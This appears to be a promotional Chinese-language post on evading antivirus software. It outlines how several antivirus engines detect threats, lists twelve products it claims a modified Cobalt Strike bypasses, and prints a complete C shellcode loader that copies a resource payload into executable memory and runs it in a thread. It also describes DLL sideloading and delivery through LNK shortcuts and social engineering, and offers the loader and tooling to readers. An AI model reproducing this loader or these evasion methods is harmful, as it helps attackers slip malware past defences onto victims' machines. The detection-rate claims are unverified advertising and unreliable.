在使用了完全无法检测的有效载荷后,仅需
"10行代码"
即可绕过绝大多数杀毒软件。
一、杀毒软件设计原理
想要绕过杀软,首先要清楚杀毒软件设计原理,一共分为三类
杀毒软件:
第一类:
传统杀毒软件,恶意特征匹配机制,如Windows Defender
,火绒
:
- 哈希值
- 扫描PE(字符串,资源,扫描几大区域)
- 扫描memory
- 扫描导入表 VirtualAlloc CreateThread WaitForSingleObject VirtualFree 危险函数>4 X
第二类:
黑白名单机制,如360安全卫士
:
白名单放行,黑名单直接查杀,灰名单——》上传至云端1.沙箱检测ok 2.等待下一波规则库的更新——》更新用户提交的白名单、更新其他白名单——》更新后依然不在黑白名单——》查杀
缺陷:
1.时间绕过缺陷(几个小时、半小时、周末2天)
2.黑名单库(哈希值在册),白名单库(程序三六九等,带微软数字签名的,操作系统自带的、用户提交的、知名软件(高信誉)必须加白)
软件太多了(性能问题,存储量太高)——》只加白exe文件,dll及其他运行方式rundll、powershell采取拦截
——》白+黑(灰)
第三类:
恶意匹配机制,软件信誉机制,如卡巴斯基反病毒
:
机器学习,海量大数据检测未知威胁
二、杀毒软件绕过方法
在清楚设计机制后,绕过方案就很清晰了,首先消除有效载荷特征
,其次采用支持反内存扫描
的有效载荷应对部分支持内存扫描的杀毒软件,而先进的cobaltstrike
完全支持这一点,该平台之所以成为全球顶尖武器
,其高度可塑性
及插件修补技术
成为红队评估及APT组织首选,以最先进对最先进:
编号 | 杀毒软件 | 测试结果 | 方式 |
---|---|---|---|
1 | Avast | 绕过 | 单文件 |
2 | 瑞星杀毒 | 绕过 | 单文件 |
3 | 2345安全卫士 | 绕过 | 单文件 |
4 | 卡巴斯基small office | 绕过 | 高级白加黑 |
5 | 火绒6 | 绕过 | 单文件 |
6 | 360杀毒 | 绕过 | 高级白加黑 |
7 | 360安全卫士 | 绕过 | 高级白加黑 |
8 | 江民杀毒 | 绕过 | 单文件 |
9 | 金山毒霸 | 绕过 | 单文件 |
10 | 腾讯电脑管家 | 绕过 | 单文件 |
11 | 微软Defender | 绕过 | 单文件 |
12 | ESET NOD32 Antivirus | 绕过 | 单文件 |
注意:单文件意思是单文件即可,高级白加黑更佳,指最低要求。
三、具体实现及代码
操作步骤:
- 加载专用插件
- 导出有效载荷(payload_x64.bin)
- 特征移除
- 使用如下10行代码的资源加载器,作用是将该
完全无法检测的有效载荷
从资源区加载至内存,即可绕过上述单文件类的所有杀毒软件,同理,高级白加黑也加载该有效载荷即可。
代码如下:
int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nCmdShow) {
PVOID ppResourceRawData = NULL;
DWORD psResourceDataSize = NULL;
GetResourceData(GetModuleHandle(0), MY_PAYLOAD, &ppResourceRawData, &psResourceDataSize);
// 直接分配可执行内存并复制payload
PVOID mem = VirtualAlloc(0, psResourceDataSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(mem, ppResourceRawData, psResourceDataSize);
// 创建线程执行payload
HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)mem, 0, 0, 0);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
VirtualFree(mem, 0, MEM_RELEASE);
return 0;
}
四、完全无法检测的cobaltstrike
顶级武器-完全无法检测的cobalt strike,是陆老师招牌武器,该平台可轻松绕过全球知名杀毒软件,该项目内置高级可塑性配置文件、特征修补技术、高级匿名技术,完全绕过全球顶尖杀毒软件,是红队训练必备武器。
一套完整的项目由平台(C2)、加载器(Loader)、途径
三部分构成:
- 平台指的是运行在服务器上的C2,决定了有效载荷是否能绕过特征检测机制(如静态特征,内存特征)并与服务器通信。
- 加载器指的是运行在终端上的程序(通常为白加黑或单可执行文件),加载器用于加载我们的C2有效载荷(payload)至内存。决定了是否能隐蔽运行有效载荷。
- 途径指的是通过某一种技术投递(如lnk快捷方式),通常是社会工程学。
本文主要介绍了简单的加载器部分,并给出了一个简单的加载器,不再赘述平台及途径部分,相关演示早已在直播中讲解或视频平台上传,篇幅过长这里不在贴出。
五、总结
在使用了完全无法检测的cobaltstrike及其有效载荷后,仅需"10行代码"即可绕过全球绝大多数杀毒软件。如需该加载器,可回复20250511
获取,如需技术交流,也可至菜单找到我们。
六、免责声明
本文涉及方案仅限合法授权的安全研究、渗透测试用途,使用者须确保符合《网络安全法》及相关法规。具体条款如下:
- 仅可用于已获得书面授权的目标系统测试;
- 遵守法律法规,不得用于侵犯他人隐私或数据窃取;
本人不承担因用户滥用本软件导致的任何后果。使用即视为同意并接受上述条款。